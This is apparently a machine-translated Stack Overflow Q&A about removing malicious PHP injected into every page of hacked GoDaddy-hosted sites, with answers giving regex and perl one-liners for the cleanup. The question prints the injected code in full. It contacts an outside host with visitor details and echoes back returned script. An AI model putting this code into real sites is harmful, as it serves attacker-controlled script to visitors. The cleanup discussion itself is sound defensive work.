我在GoDaddy上的所有网站昨天都遭到黑客入侵,并在每个PHP页面中都插入了此代码。 : - (
<?php
#6278d7#
error_reporting(0); @ini_set('display_errors',0); $wp_krzr3 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_krzr3) && !preg_match ('/bot/i', $wp_krzr3))){
$wp_krzr093="http://"."html"."common".".com/"."common"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_krzr3);
if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_krzr093); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_3krzr = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_3krzr = @file_get_contents($wp_krzr093);}
elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_3krzr=@stream_get_contents(@fopen($wp_krzr093, "r"));}}
if (substr($wp_3krzr,1,3) === 'scr'){ echo $wp_3krzr; }
#/6278d7#
?>
我想删除第一个和最后一个#字符之间的所有内容,并替换为空,取消此代码。
我尝试使用文件夹搜索并替换为:
#.*#.*#.*#
和这个
<?php.*#.*#.*#.*#.*?>
..因为。*意味着“介于两者之间”,对吧? (当我复制到我认为是换行符的搜索字段时,在打开php语句后会出现一些框字符)
我很困惑。有帮助吗? Stack Overflow是一个很好的资源BTW,谢谢!答案 0 :(得分:0)
只需使用perl
尝试此正则表达式替换perl -0777 -pe 's/#([0-9a-f]{6})#.+?#\/\1#/OK/s' < test.txt
如果您看到&#34;确定&#34;,它就可以正常工作
我认为邪恶代码包含在HEX表示中的某种开/关标签中。
注意!!请在尝试之前做一个备份!!
答案 1 :(得分:0)
有一个假设。 1.代码的十六进制数字总是6个字符
在Notepad ++中使用RegEx。你应该搜索这个:
(#[0-f]{6}#)(.*)(#/[0-f]{6}#)
并替换为##
确保选项为&#34;。匹配换行符&#34;检查。